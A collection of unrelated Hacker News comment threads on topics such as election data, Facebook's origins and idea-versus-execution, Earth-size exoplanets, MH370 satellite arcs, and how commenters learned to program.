AznHisoka
I just really want to know how many estimated ppl voted for each candidate in
each state. Couldn't they just extrapolate that based on search/browsing
history (IE. if someone visited BreitBart, they're probably voting for Trump,
if someone visited 538, most likely Clinton)
~~~
TallGuyShort
I would think that's extremely unreliable. If it was true, it would be really
bad. I want to know what Trump and Clinton are saying regardless of who I vote
for. I visit BreitBart but voted for relatively few Republicans. I think one
of the main problems with our political process is that our news feeds are
turning into echo chambers, polarizing everyone who doesn't go out of their
way to really think critically and expand their horizons.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Emaildrop – a free disposable email service with a GraphQL API - mtusman
https://www.emaildrop.io
======
fiatjaf
This is awesome. Just added it on [https://github.com/fiatjaf/awesome-
loginless](https://github.com/fiatjaf/awesome-loginless).
------
kevsim
Several times I’ve been in need of a nice way to build automated/smoke tests
for an email signup process. This looks like a nice solution (particularly
with the GraphQL subscription API).
Anyone used this service yet?
------
somberi
A thumbs up for the elegant interface.
| {
"pile_set_name": "HackerNews"
} |
TechStars offering $2k / mo. for developers and designers - thesausageking
http://www.techstars.com/hackstars/
======
thesausageking
Why would anyone do this ? $2k / month with no benefits or equity for a full-
time job helping someone else build a start-up.
~~~
dabogy
My thoughts exactly. Getting no equity, and being in a position where you
essentially have the same risk as the founders, doesn't make....much....sense.
| {
"pile_set_name": "HackerNews"
} |
Are cars the next hacking frontier? - bishvili
http://www.thecarconnection.com/marty-blog/1048876_could-connectivity-and-smartphones-open-your-car-up-to-hackers
======
markstansbury
I'm pretty sure that cars are the _old_ hacking frontier. As in, kids into
computers today would have been into cars 50 years ago. Instead of lan parties
everyone came over and worked on your car.
| {
"pile_set_name": "HackerNews"
} |
Show HN: jQuery Folder-Like Collapsible Lists - sergiocampama
https://github.com/sergiocampama/jquery-collapsible-list
======
sergiocampama
Added support for tree view
| {
"pile_set_name": "HackerNews"
} |
Best ways to get traffic/sales for my recently launched site? - bigheartbaby
I just launched a site called Big Heart Baby (www.bigheartbaby.com) that sells baby clothes and donates 50% of profits to children's charities. Our initial charity partners are focusing on Autism, Children's Cancer, Child Hunger, Juvenile Diabetes, and Pediatric AIDS.<p>The site went live on Friday and we are, obviously, trying to increase traffic and sales as quickly as possible. So far, we have reached out to the mommy blogging/baby blogging community and have been very well received there. We're also doing facebook ads, google adwords, and distributing our press release to every publication we can think of.<p>What else should we be doing to drive traffic?
======
pbhjpbhj
>donates 50% of profits to children's charities
With these claims I always wonder "gross profits or net of wages and
deductions".
How much, as a percentage of gross revenue, do you donate and to which named
charities.
Is it Cafepress or some other?
| {
"pile_set_name": "HackerNews"
} |
Jeffrey Epstein: ABC stopped report 'amid Palace threats' - tomohawk
https://www.bbc.com/news/world-us-canada-50296742
======
drak0n1c
ABC's excuse of the allegations not meeting their journalistic standards at
the time doesn't hold up. The evidence against Epstein in 2016 was very solid
compared to other accusation stories that ABC granted national coverage.
------
thrower123
Sitting on this story and similarly, the Weinstein stories, is inexcusable for
media that wants to wrap themselves in the flag of journalistic integrity.
It's no wonder trust is at an all-time low.
------
TMWNN
Bill Clinton is mentioned. "Three years ago" means that ABC suppressed the
story during the 2016 presidential election.
------
tzs
> In 2015, a judge ruled that the allegations made by Ms Giuffre regarding
> Prince Andrew were "immaterial and impertinent" and ordered them to be
> removed from a claim against Epstein.
I'm not up on British legal terminology. What does it mean when a court finds
an allegation "impertinent"? I know what the word "impertinent" means in
ordinary English, but if it was just that it seems an odd thing for a court to
declare when dismissing something. I'd expect them to just say it was
immaterial and leave it at that. So I'm guessing "impertinent" has some
specific legal meaning in their system?
~~~
likpok
There's a bunch of "words" in the english legal system that are like that: a
pair of words (with one frequently sourced from french). There's a list here:
[https://en.wikipedia.org/wiki/Legal_doublet](https://en.wikipedia.org/wiki/Legal_doublet)
"immaterial and impertinent" isn't referenced on that list, but shows up in a
list of reasons to dismiss. [https://www.upcounsel.com/legal-def-
averment](https://www.upcounsel.com/legal-def-averment) suggests that they
were once different, but are now the same.
------
yk
Was just looking around for some corrobation, and it seems that project
Veritas has found something for once.
WaPo Opinion piece: (It estimates that this is on the same order of magnitude
as the mishandling of the Weinstein scandal by NBC.)
[https://www.washingtonpost.com/opinions/2019/11/05/ive-
had-t...](https://www.washingtonpost.com/opinions/2019/11/05/ive-had-this-
story-three-years-abc-news-anchor-slams-her-networks-handling-epstein-scoop/)
Hollywoodreport (which quotes more from the ABC statement and Robach's
statements on the Veritas video):
[https://www.hollywoodreporter.com/news/abcs-amy-robach-
made-...](https://www.hollywoodreporter.com/news/abcs-amy-robach-made-jeffrey-
epstein-comments-private-moment-frustration-1252410)
The primary source: [https://www.projectveritas.com/2019/11/05/video-leaked-
insid...](https://www.projectveritas.com/2019/11/05/video-leaked-insider-
recording-from-abc-news-reveals-network-executives-killed-bombshell-story-
implicating-jeffrey-epstein/)
------
aklemm
News outlets should self-report any threats to their integrity, thereby
protecting themselves from any blowback by oligarchs.
------
CobrastanJorji
This clip was released by Project Veritas. This is James O'Keefe's propaganda
outfit.
This is the same person who attempted to trick a CNN reporter onto a boat full
of sex toys in an attempt to seduce her on camera:
[https://www.cbsnews.com/news/acorn-foe-james-okeefe-
sought-t...](https://www.cbsnews.com/news/acorn-foe-james-okeefe-sought-to-
embarrass-cnns-abbie-boudreau-on-porn-strewn-palace-of-pleasure-boat/)
In 2017, they were caught trying to convince The Washington Post to publish
fabricated rape allegations:
[https://www.washingtonpost.com/investigations/a-woman-
approa...](https://www.washingtonpost.com/investigations/a-woman-approached-
the-post-with-dramatic--and-false--tale-about-roy-moore-sje-appears-to-be-
part-of-undercover-sting-
operation/2017/11/27/0c2e335a-cfb6-11e7-9d3a-bcbe2af58c3a_story.html)
He's been convicted of sneaking into Congressional offices.
You should read up on this person before believing anything they release:
[https://en.wikipedia.org/wiki/James_O%27Keefe](https://en.wikipedia.org/wiki/James_O%27Keefe).
Project Veritas is a pure propaganda outfit, and republishing anything they do
is a disservice to information.
~~~
AndrewBissell
If there was any doubt as to the veracity of the leaked video, ABC would have
simply issued a denial.
------
munk-a
Hasn't Project Veritas burned any ability to claim to be a factual outlet at
this point?
The conjectured story is concerning, but the fact that Project Veritas is the
primary source yields a quite shaky providence. I'd much rather BBC had found
better corroboration before running such a story.
~~~
derision
> Hasn't Project Veritas burned any ability to claim to be a factual outlet at
> this point?
No? What supports this claim?
| {
"pile_set_name": "HackerNews"
} |
Ask HN: What's up with Data Scientist in 3 months programs? - arisAlexis
I have a bunch of friends especially female lately that are telling me that they will quit their job and become data scientists.<p>There is apparently a program that costs around $3k and takes you as a totally non-tech person working in sales or whatever unrelated subject and turns you into a data scientist.<p>I find this dangerous. First of all in no way if you have no idea about a p-value is you can become proficient in ML, using support vector machines or even writing code in R and Python.<p>What maybe they mean is you can become a marketing analyst and crunch some numbers but that's about in in 3-4 months.<p>What do you think?
======
taprun
You have a lot of people with questionable knowledge including a) The people
paying for the courses b) The people in HR taking these courses seriously c)
The body shops that just want cheaper bodies and need a certificate to point
to in order to demonstrate that their people are qualified.
| {
"pile_set_name": "HackerNews"
} |
I just subscribed to 60 blogs via RSS and maybe you should, too - imartin2k
http://meshedsociety.com/i-just-subscribed-to-60-blogs-via-rss-and-maybe-you-should-too/
======
cjmcqueen
This is the exact same path I'm heading down. I had hundreds of feeds in
Google Reader and am slowly reconstructing my news sources after outsourcing
to social media or a few blogs. What i would love now is a service that merges
similar stories into bundles. I wonder if something could be made that can
bundle opposite positions on an issue as well.
~~~
imartin2k
"I wonder if something could be made that can bundle opposite positions on an
issue as well"
This is a very interesting idea!
| {
"pile_set_name": "HackerNews"
} |
Scientists Estimate At Least 17 Billion Earth-Size Planets Inhabit Milky Way - G5ANDY
http://www.space.com/19157-billions-earth-size-alien-planets-aas221.html
======
Symmetry
This is sort of terrifying, given that we haven't observed any space-faring
species from any of those other Earth-sized planets yet.
<http://en.wikipedia.org/wiki/Great_Filter>
~~~
anigbrowl
I don't worry about that too much.
Consider a community of people with little technology that live away from any
major trade routes, and thus don't see ships or planes. They would be
oblivious to all the internet, TV, radio and postal traffic going on around
them despite its huge volume. Now, I can't think of any such islands that are
totally out of contact in 2013, but there are still uncontacted tribes in the
Amazon basic (that we know about) and probably a few in other places (that we
don't know about).
Since interstellar travel would require something like a warp drive to be any
way practical, and we have yet to crack that problem, it seems quite likely to
me that we're also incapable of observing traffic of that kind going on in our
(galactic) vicinity. I don't see any particular reason that more advanced
civilizations would go out of their way to reveal themselves to us; indeed, it
bothers me that most alien invasion movies/novels tend to skip over the
question of what is so special about Earth that aliens should cross vast
distances to plunder our resources in particular when it would be so much
easier to just grab a passing asteroid or comet.
~~~
BerislavLopac
"Now, I can't think of any such islands that are totally out of contact in
2013"
We can always count on Cracked to point the way. ;-)
[http://www.cracked.com/article_19976_6-isolated-groups-
who-h...](http://www.cracked.com/article_19976_6-isolated-groups-who-had-no-
idea-that-civilization-existed.html)
------
ra
I'm in awe of how much we've discovered about the universe in the last decade
of science exploration.
The space programs Cassini, Kepler and Curiosity, as well as earth bound
programs like VLT and LHC really have expanded our understanding of the laws
of nature to levels I didn't think I'd see in my lifetime.
We live in fascinating times.
------
k_kelly
There's always the problem of when.
While it's becoming more likely that a life supporting planet exists outside
our solar system, we have the problem that mankind's recorded history is
measured in thousands of years (and more than likely will only be measured in
thousands of years) while the universe is a tale of billions of years.
I'd still say we are likely to see artificial satellites at some point, as our
own would likely survive for millions of years in some capacity (even as
junk), but the possibility of direct communication is probably never going to
happen.
------
mullingitover
I'm curious how many Earth-sized planets have a twin planet like our moon.
Without the moon we'd be tidally locked, and despite all our water we wouldn't
be nearly as life-friendly.
~~~
ceejayoz
Mercury and Venus aren't tidally locked.
~~~
CapitalistCartr
They're quite close to it. Mercury takes two of its own years to have one day,
and Venus's year is less than two of its days.
~~~
nfg
This is generally suspected to be because of large primordial impacts, much
like the one which it is proposed created our moon. I don't think there's
anything intrinsic about Goldilocks zone orbiting rocky planets which would
lend to tidal-locking with the star.
~~~
mullingitover
It's not their distance from the sun, it's the presence of liquid being
affected by gravity and creating a tidal bulge. The bulge slows down the
planet's rotation via friction, and eventually the planet stops rotating.
------
jonknee
Fascinating. Our little rock could be "one in a billion" and we would still
have 16 other civilizations to meet. Just in our galaxy.
~~~
mistercow
Actually we would expect to have 17 other civilizations to meet. The events
are independent, so observing our own civilization doesn't affect the odds for
the rest of the galaxy.
~~~
marshray
But we're not interested in Earth, so we'd expect to see 16.999999999 _other_
civilizations.
~~~
mistercow
Yes, but I think you may have a few too many sig figs there.
~~~
marshray
So does 17 :-)
~~~
mistercow
I guess the number of sig figs when you write out "a billion" is ambiguous.
------
skwosh
Regarding the existence of life...
Seems all that's really required to kickstart life and evolution is any self-
replicating structure.
Chemicals are well suited for creating complex structures, but it doesn't rule
out self-replicating forms embedded in other kinds of matter held together
with other kinds of force.
------
loudmax
This is interesting, but I think an estimate of the number of planets with
lots of liquid water on the surface would be more exciting. Liquid water is
key to life as we know it, so knowing how common it is in the galaxy might
give us some idea how likely we are to find extraterrestrial life.
~~~
andrewfelix
There's a lot more to life than just liquid water. In fact there are a huge
array of requirements including distance from the sun, right arrangement of
planets, tidal systems, plate tectonics...
~~~
noiv
Why there are so many constraints on life listed? Is it to make more us
special? Some people follow a different approach and say the purpose of life
is to hydrogenate carbon dioxide.
[http://blogs.discovermagazine.com/cosmicvariance/2010/03/10/...](http://blogs.discovermagazine.com/cosmicvariance/2010/03/10/free-
energy-and-the-meaning-of-life/)
I very much like the idea that life might be a consequence of entropy and
emerges everywhere where energy is in flux and matter poses a threshold
against the arrow of time.
~~~
andrewfelix
It's a nice idea, but I find the 'Rare Earth' hypothesis convincing:
[http://en.wikipedia.org/wiki/Rare_Earth_hypothesis#Rare_Eart...](http://en.wikipedia.org/wiki/Rare_Earth_hypothesis#Rare_Earth.27s_requirements_for_complex_life)
------
pedalpete
I didn't think there was anything special about the size of the earth (and
apparently I'm right). Can anybody explain why this is important, I don't
think the article did a very good job of that.
~~~
mikeash
Too small, and the planet won't be able to retain an atmosphere (e.g. Mars).
Too large, and it'll probably retain too much.
~~~
mansoor-s
I have always been under the impression that the lack of atmosphere on mars
was due to its magnetic field weakening and allowing solar winds to carry away
the atmosphere over the billions of years.
------
martinced
Regarding the Fermi paradox: one of the civilization has to be the most
advanced and has to be so intelligent that it obviously knows the Fermi
paradox ("probably" under another "name" ; ) all too well.
Must s*ck to be that one civilization: being right about the universe actually
holding several carbon-based lifeforms and yet scratching their heads thinking
"We can't be the most advanced, we can't be the most advanced".
: )
~~~
Udo
The universe _is_ relatively young in the sense that metal-rich solar systems
are probably a requirement for advanced lifeforms and we haven't had that many
generations of stars yet. Our sun is a "Population I" star (counter-
intuitively, astrophysicists are counting backwards here) that has taken heavy
elements as building material for the whole solar system from the remnants of
earlier stars.
However, the Milky Way is at the same time certainly old enough to suggest we
shouldn't be the first. Evolutionary timescales probably depend a lot on the
environment, but even if we're taking the development of our biosphere as one
of the fast examples, there should still be other comparable planets billions
of years younger than ours lending credibility to the assumption that there
should have been civilizations before us.
One of the big questions is also how long civilizations stay in the
"compatible" phase on average. If they disappear (either going extinct or
transcending into another stage) fast enough, finding and communicating with
them in time will be very difficult. Like I said, extinction isn't necessarily
the driving force. For example, our own sci-fi stories are absolutely rife
with slightly advanced civilizations that very likely would never communicate
with us.
Another favorite explanation of mine is that there could be some unknown local
issue in our stellar neighborhood. Candidates scenarios for this are myriad,
and they fall into two categories: there isn't anyone nearby, or we are
artificially isolated somehow.
~~~
marshray
Yeah, it's not like some alien benefactors would have placed a geodesic array
of transmitters in the Oort cloud that would cancel out all our inane radio
spectrum emissions.
Or could they? Hmmm...
| {
"pile_set_name": "HackerNews"
} |
The Fallacy of Execution, or Why Mark Doesn't Talk About Facebook's Origins - thinkcomp
http://www.huffingtonpost.com/aaron-greenspan/sex-and-the-fallacy-of-ex_b_309304.html
======
olefoo
It's somewhat sad to see someone so obviously talented waste that talent on
building a career focused on the resentful reliving of being ill-done by. No
matter how successful the ill-doer became.
Aaron, don't let the facebook that got away be the defining chapter in your
life; build something new and amazing that you will be remembered for.
~~~
swombat
I echo that sentiment. Enough with the Facebook envy. Whether right or wrong
in this from a moral standpoint, there _has_ to be something more productive
worth doing with your time than to keep harping on about this sorry issue for
the rest of your life.
Maybe you should have "won". Maybe not. We can debate this until kingdom come,
to our collective embarrassment. The fact remains, Mark Zuckerberg _is_
Facebook's CEO and you're not. Get over it. Start another company. Are you a
one-idea man? Was this the only idea you were capable of having in your
lifetime?
I make no judgement on the claims of idea theft (as porous as the very idea of
idea theft might be), but leave you with an extract from this little big poem
([http://www.everypoet.com/archive/poetry/Rudyard_Kipling/kipl...](http://www.everypoet.com/archive/poetry/Rudyard_Kipling/kipling_if.htm)):
(...)
If you can bear to hear the truth you've spoken
Twisted by knaves to make a trap for fools,
Or watch the things you gave your life to broken,
And stoop and build 'em up with wornout tools;
If you can make one heap of all your winnings
And risk it on one turn of pitch-and-toss,
And lose, and start again at your beginnings
And never breath a word about your loss;
(...)
Yours is the Earth and everything that's in it,
And - which is more - you'll be a Man my son!
------
softbuilder
Time wasting fluff. If by some miracle you came here to the comments before
reading the piece, skip it.
~~~
petercooper
I usually read the HN comments before the article and so I didn't read this
piece, but... I already bought and read Aaron's _Authoritas_ book so have read
200+ pages of this sort of stuff before. Oops.. :) (Oddly, though, I'd still
recommend the book. I couldn't put it down - it was like watching a car crash
in slow motion.)
~~~
lamby
Out of interest, do you take any steps to ensure your viewpoint isn't biased
by the comments before reading a linked piece?
~~~
petercooper
Luckily, most of the posts on Hacker News that I find interesting don't lend
themselves to biases (i.e. the non political or evangelical posts).
With the more political or evanglical posts, though, I think the human mind is
wired to defend its initial opinion for a certain amount of time no matter
what it reads ;-)
------
dtf
_...of all the business clichés in the world, there is none that I hear more,
and that I hate more, than the vague, poorly-defined and generally ill-
conceived notion that "execution" is more important than "the idea."_
Oh, how the truth hurts. I actually got this far before I bothered to read the
name of the author. If Mark Zuckerberg made this point it would have weight,
but as it stands it's just another bunch of sour grapes.
~~~
omouse
It can be both sour grapes and the truth.
~~~
kelnos
I personally wouldn't suggest that you can get by with great execution on a
crappy idea (or crappy execution of a great idea), but given the author's past
history, one could easily make the conclusion that it's mostly just sour
grapes. And while reading about truth is a good thing, I find it's not worth
the read if the truth is wrapped in overblown angst and already-beaten-to-
death accusations.
------
chrischen
Wow the author obviously doesn't get "execution."
Of course "idea" and "execution" should be defined properly. When people say
"execution is more important than the idea," the idea is what you come up with
your unaided intelligence, and execution is your ability to refine that idea
and stay objective towards your goals. In this case the "idea" is not
important because when you "execute" it, any one idea will morph and change
constantly. Even if considering the ideas you come up with collectively, it's
still less important because improving an idea is always possible even if they
are small improvements.
The author apparently doesn't really understand what "idea" means. So if I was
dumb enough to try a disposable jumble jet, the original idea doesn't matter
because after I try to create such a product and fail, I will choose to ditch
that idea. Eventually my idea will get better as I continuously hit brick
walls if they suck. The rate at which I can learn from mistakes and avoid
brick walls is execution. While you can still improve your innate execution
ability, it's much harder to improve that than the idea. For this reason, idea
is less important than execution.
Simply put, the idea is the formula you come up with before testing it, and
the execution is your ability to adapt your idea to reality. Your formulae
will be plenty and disposable, your ability to be objective and adapt your
formulae is much more important because it is the engine to which your
formulae power.
------
noonespecial
Don't forget (and this is probably more important in this case than usual)
_luck_. The nature of social networks favors one network that "everyone is
on". Which one gets chosen probably has more to do with luck than the
execution of the site. All it took was a few random people to stumble upon it
and _"but all my friends are on facebook"_ took it from there.
If you'd like a counterpoint that favors execution, I hear that you can do
pretty well just selling shoes...
~~~
gscott
I believe personality is more important then luck, although some things are
just lucky (pentyoffish.com) but people who have great personalities, you just
like them but you don't know why, they usually succeed.
------
lionhearted
The reason execution is stressed over ideas is that non-businesspersons
frequently think, "I've got this idea that's going to make me rich!"
It's actually incredibly common. Anyone that's been on the business side of a
business doesn't think that way, and most engineering people don't think that
way, but people that don't work hands-on with the grimy, mucky, slogging
reality of business believe in the myth of a great idea.
Ideas without execution = nothing. Execution of even a mildly valuable idea =
quite valuable. Most of the people I know who built large fortunes didn't
invent something new or crazy. Lots of real estate and development, turning
one space in the world into a more valuable space. One gentleman I know buys
properties in high rent areas that are normally not profitable, and converts
them into vacation/short term rental properties for businessmen staying in
town who want a more "homey" place. So he's able to turn traditionally
cashflow-neutral or negative properties into profitable ones with a just a bit
of added active management and marketing.
Brilliant idea? Meh, not so much. Great execution.
There's lots more. I have one acquaintance who is investing and working on
various technologies for spaceflight, so maybe he'll do some breakthrough
crazy stuff later, but most of the wealthy people I know don't do anything so
flashy or remarkable. It's just all execution of ages old ideas, like buy a
space and renovate it into a nicer, more valuable space. Provide a service
lots of people use for cheaper. Provide a higher quality service that is
currently well used that people are dissatisfied with. Make people's lives
more convenient, happy, or healthy. These aren't such new ideas. If I had to
guess the ratio of a person that goes self made to holding more than $5
million in assets, I'd guess 95 to 98% old ideas with great execution, 2 to 5%
new ideas. We lose sight of that in technology because we keep hearing about
the new cool hotness, but most fortunes are built by fixing something in the
world that you're using and aren't happy about the quality of. Hence, almost
all execution, not so much having great ideas.
~~~
tjogin
Yeah, ideas are mostly worthless.
Facebook's success certainly cannot be attributed to their "idea": the online
community thing had been done thousands of times before. Just never executed
well enough.
Google's success cannot be attributed to their idea, as there were numerous
search engines before them. Execution is what propelled them to the forefront.
Their search engine actually showed good results.
Amazon. They sell books. Not the most novel idea out there. They just did it
better than anyone else. Zappos. They sell shoes.
For all the time people spend comparing their startups to the biggest players,
it's quite odd that so few realize that it's not about the idea. It's about
the execution.
~~~
cojadate
An idea can be completely unoriginal and still be a good idea – an idea is
still good even after it's been copied. So the article's contention that there
can be no success without both good execution and a good idea is completely
accurate. Selling books is a good idea, selling dead leaves isn't.
Also, I think you oversimplify the ideas of Amazon, Google, Zappo and
Facebook. I would argue that Amazon's idea was more "selling a massive range
of books online via a simple interface" not just "selling books". And there
are many variations of the "online community thing". The idea for Facebook
wasn't the same as the idea for Friends Reunited and it's easy to see how that
helped one to prosper and the other to fail.
~~~
tjogin
Sure, but even with your definitions of their ideas, they're not super-unique,
certainly their ideas aren't the most valuable thing in the mix.
To illustrate my point; there was no need for either of the mentioned
successful startups to keep their "idea" a secret until launch, in fear of
someone "stealing" it.
What I mean is that had someone heard of their "idea" before launch, it would
have changed nothing. It's all about the execution.
Conversely, many would-be startup founders I've talked to seem to think that
their idea is _the most valuable thing they have_. That they need to keep
their super-unique idea under wraps, for fear of it getting out and someone
else doing it instead.
~~~
InclinedPlane
Good ideas can often be subtle. Boiled down to utter simplicity the difference
between facebook and myspace may seem to be tiny. But that's not the case.
Another term for subtlety may be "precision". The difference between facebook
and some other seemingly similar site may seem subtle but by the same token it
may actually be a difference in precision, with facebook hitting a tiny target
(a correct mix of complexly interacting features and design) that others
missed.
You see this sort of importance of precision/subtlety everywhere. The
difference between the best selling automobile and the 20th best selling
automobile in the same class is often a long list of subtle, yet important
differences. Also, what may seem like subtle, some might say inconsequential,
differences on casual inspection may in fact be jarring, fundamentally
important distinctions. The addition of 1 tablespoon of salt to a bowl of soup
instead of merely a pinch changes the flavor dramatically, even though in
either case the salt is only just a tiny, tiny fraction of the ingredients.
~~~
tjogin
Those subtle differences are _execution_. The idea is to build a better car.
~~~
cojadate
In the end we come down to an unfruitful debate on the distinction between
'idea' and 'execution'. If you've got every last detail for a website planned
out in your head but nothing implemented, that's still an idea, not execution.
In my opinion it goes like this:
* A bad idea is less than worthless
* Unoriginal good ideas are worthless
* Original but vague good ideas are worth very little
* Original and detailed good ideas are worth a lot, but still useless without fantastic excecution too
------
yardie
As a developer I think I'm quick to shoot down ideas faster than most.
Usually, we enjoy pragmatic thinking and GTD attitude towards problems. I
didn't really think about ideas (not problem ideas, ideas ideas) until a met
an artist on a train. We were talking and she asked me what I thought about a
project she had envisioned. Naturally, I pointed out all the technical and
financial pitfalls of her idea. This seemed to shut her down.
My wife, instead, asked me what it would take to do it and, quite naturally, I
was able to list all the equipment and technical skills needed for such a
project. It wasn't until I finished that I realized that the project was
reasonable and doable.
It's very easy to dismiss ideas, even good ones. Dumb ideas can be as good as
brilliant ones if executed right
------
rooshdi
Isn't "execution" the implementation of a combination of varying "ideas"? If
not, then I guess most services wouldn't have competitive advantages and
Facebook wouldn't be what it is today.
------
araneae
Actually, there are such stupid arguments in biology, namely nature versus
nurture. Of course, most biologists are over that now, but the public
certainly isn't.
------
DanielBMarkham
The problem here is that the author is arguing with himself.
Execution means having lots of ideas and modifying them as conditions change
and you learn more.
We talk about ideas vs. execution because big exciting ideas are all over the
place (I know the author doesn't agree but from experience I've seen and heard
a lot of really great ideas). What's missing is all the little ideas that come
from those big ideas. Lots of folks have some vague, big-pictured idea. Not
many people have the three thousand little ideas that support the big one.
Execution means finding all those little ideas and testing them to see which
ones work.
If I remember correctly, FaceBook didn't really take off until the FriendFeed
feature was added. Once folks started getting real-time updates of their
friends, it became addictive. Sure the big idea was there and succeeding, but
it's those little tweaks that end up doing the trick.
That's just my opinion, of course. Your mileage may vary. It's definitely a
discussion worth having.
~~~
nl
> FaceBook didn't really take off until the FriendFeed feature was added
Well that isn't quite true, but the news feed was an important innovation,
which did add a lot of momentum. Facebook actually had that before FriendFeed
came along (which everyone seems to forget when they accuse Facebook of
copying FriendFeed's features)
------
kelnos
I feel like the author basically contradicts himself in the end. He talks
about how there were plenty of "face books" at various colleges and how this
idea is certainly not new. So why did Zuckerberg's Facebook get so big and
popular wen the others are small and obscure? Execution, maybe?
------
ia
this guy must be a glutton for punishment to submit this here. i've lost count
of the number of times this subject has come up and been quickly _put down_.
each time, the author comes off looking worse than the last time.
------
CGamesPlay
Thank you or abridging "sex" from the title. It's appreciated.
| {
"pile_set_name": "HackerNews"
} |
Why are there two possible arcs for the path of MH370? - txsl
In all of the reports and images of where MH370 could be (based on Inmarsat data) eg http://www.bbc.co.uk/news/world-asia-26503141, they show two possible (and opposite in direction) arcs where MH370 could be. How come this is the case? Must be something to do with which regions and areas different satellites collect data from?
======
graeham
The arcs are from a single 'ping' from a single satellite. The satellite knows
where it is, and with the 'ping' it was able to determine the distance from
the satellite to the aircraft. The satellite is the distance of this arc, the
radius is the known distance between the satellite and aircraft. By having the
last known radar location near Malaysia, approximate flight speed, and time
between radar contact and satellite contact, an approximate distance is
predicted along the circle defined by the centre (satellite) and radius/arc.
------
sp332
Yes, according to the chart on the page you linked. The satellite that it used
to communicate its last info only gets information from that arc of the globe.
So it must have been in there somewhere when it sent its last broadcast. That
doesn't mean it was travelling along that path the whole time though. It could
have turned after that transmission.
| {
"pile_set_name": "HackerNews"
} |
Amazon sells 'autism cure' books that suggest drink toxic bleach-like substances - whalabi
https://www.wired.co.uk/article/amazon-autism-fake-cure-books
======
anm89
I'm sure amazon sells books that say that the moon is made of cheese and that
people can fly if they put their minds to it and an endless list of other
absurdities. Where is the faux outrage trying to hold them accountable for
these views?
Of course, no one fights to censor these views because it's an
unachievable(and undesirable) task to review and censor every book ever made
and more importantly there is no audience for virtue signaling on those
topics. Amazon has millions of books for sale and obviously does not claim to
endorse all of them.
The subtext here is: so let's form some kind of committee so we can all gather
around and vote on what's acceptable to publish and what isn't. This is an
incomparably more dangerous scenario than some nutcase writing a ridiculous
book that is likely to be read by a handful of people.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: How did you learn programming? - michael_fine
======
shane-armstrong
I am a 19 year old programmer, I began in 2009, learning PHP via debugging a
broken PHP script for a friend. It took me a long time, days, as the script
was 2,300 lines long and I was a complete beginner.
w3cschools was a great help during this time, but I would say that my biggest
help was trial and error. You have to get a lot of things wrong before your
finally understand how to do them right.
Once I learned PHP I wanted an easier way to display data, and started
learning markup, XHTML, CSS, etc. I used w3cschools again for this.
I read a few books at that time (unfortunately, they were online, and I can
not for the life of me remember what they were, apologies) to help improve my
skills and began to study typography. This mainly involved searching google
for web typography, experimenting in photoshop and then creating the styles as
close as I could in CSS.
About 7 months ago I realised that I needed more depth, I was not content with
mere web applications. I started learning .cpp, using the visual express 2010
tutorials provided with the download and then I started searching for (once
again via google) simple code examples. My time with PHP had taught me simple
class architecture so it was not as difficult to pick up as a beginner would
find it.
As I expanded my knowledge I found that I could not find enough online
material, so I started a local "computer club", where I could meet like minded
people. Via Coursera (the online stanford cryptography class was fabulous) and
the club I have since gained what I would consider an acceptable level of
programming with .CPP (and Python, but that is a whole other story.)
Along the way, I also added javascript, mysql and xml, but I left these out
due to their connection to web design.
Anyway, this is just the path I chose, I dare say it was unconventional, but
it worked for me.
If you are looking for advice, all I will say is this: Google is your friend,
MiTx will definitely help you to improve once you gain an acceptable skill and
coursera's CS101 class would give you the basic knowledge required to
continue.
Also, on an unrelated note, congratulations, I have read HN for a very long
time now, and I signed up specifically to reply to your question :)
~~~
michael_fine
So, what are you currently doing now?
~~~
shane-armstrong
Currently, waiting for the coursera cryptography course and I just began
working for a web design company in Preston, England. Entry level wage, but
good experience :)
Although, I'm also building a blog for my girlfriend, as she is "sick of
tumblr" (lame, I know, but she begged me >.< ) and will likely pop it on here
in a few days once it's finished.
------
ezl
I offered to work in exchange for a local dev consultancy (pybrew.com) in
exchange for instruction. I had a basic understanding of procedural code
(could figure out for loops and generally make things happen with very
spaghetti-ish code) but didn't know what an object was.
At the time, I didn't really know how to solve code problems, how to
effectively use docs, or how to use a debugger -- which they taught me. A lot
of times they let me build the wrong thing then show me how I could do it
better (doing research, learning how cookies work, and reinventing the wheel
with web authentication, for example).
'Twas an odd, makeshift apprenticeship program, but it was perfect for me. At
the time I didn't realize how lucky I was (I don't think they did either), but
I am very grateful to have stumbled upon the opportunity.
------
waterlesscloud
Learned Basic from my computer's manual, learned assembly from magazines.
I took some "computer programming" class in high school, but computers were
still new-fangled to the faculty and it was entirely self-directed. I used the
time to make a game in assembly on the school's Model III. There were PC Jrs
for a broader computer literacy class, but I never used those.
In college, I started as a physics major and hence learned Fortran. Dropped
out for a couple of years, went back as a CS major. Then was exposed to many
things; C, C++, Prolog, Ada. But Pascal was the workhorse of the curriculum.
First job out of college was C (legacy projects) and C++ (new projects). And
Visual Basic for some quick and dirty things.
Worked as a programmer for a while. Stopped. Did something else for many
years. The last year or so I've been retraining myself. Played with Erlang and
Clojure, but nothing serious. Made a couple of toy Android apps with Java.
Wrote some simple Atari 2600 things using an emulator. Working through an idea
for a site with Python/Django at the moment.
I'd like to work as a programmer again, I think. Or more accurately, I really
enjoy being able to build things.
I feel most at home in C++ still, but I find myself using Python to try out
ideas more and more as time goes on. Assembly still makes me happy, but I
don't really use it for anything.
------
kingofspain
Started typing BASIC from my ZX81 manual because the machine could do little
otherwise, moved on to a bit more on the C64 but it really kicked off when I
got an Amiga. A _lot_ of games in AMOS and then after weeks of delicate
preparation, convinced my parents to buy me a book that was a spin-off of an
Amiga mag, it came with the full version of Dice C (£25 was a lot of money for
a book for a 14 year old!).
Later I got a C compiler off a PC mag and dabbled with that, moved on to
Delphi and then by the time the internet made an appearance in my household I
began with the HTML and shortly afterwards Perl and then PHP. It was only at
this point that I started learning "properly". I guess partly because it was
time and partly because it was the first time I ever had some level of access
to best practices, theory and whatnot.
------
proexploit
I started consulting instead of going to college and (almost) always said yes
when asked if I knew how to do something, whether or not I knew that
particular task yet. Once I said I could do something, I was locked in and
forced myself to learn it.
------
lumberjack
In middle school I took a computer science class because it had "science" in
the name. Computers were still very expensive and I had practically never used
a computer till that moment. One of the modules of the class was a walk
through software engineering using the old waterfall model. We had to design,
build and test a basic application in Pascal. Nice memories. From there
onwards it was all self study.
------
tsurantino
As per my brother's recommendation, I ignored all the modern hoo-ha's about
high-level programming languages and dove right into C and C++.
Spent weeks grinding it out until I was finally comfortable writing code. I
can tell you honestly that this experience has never left me and I've never
been at a completely loss navigating through different languages since.
------
khyryk
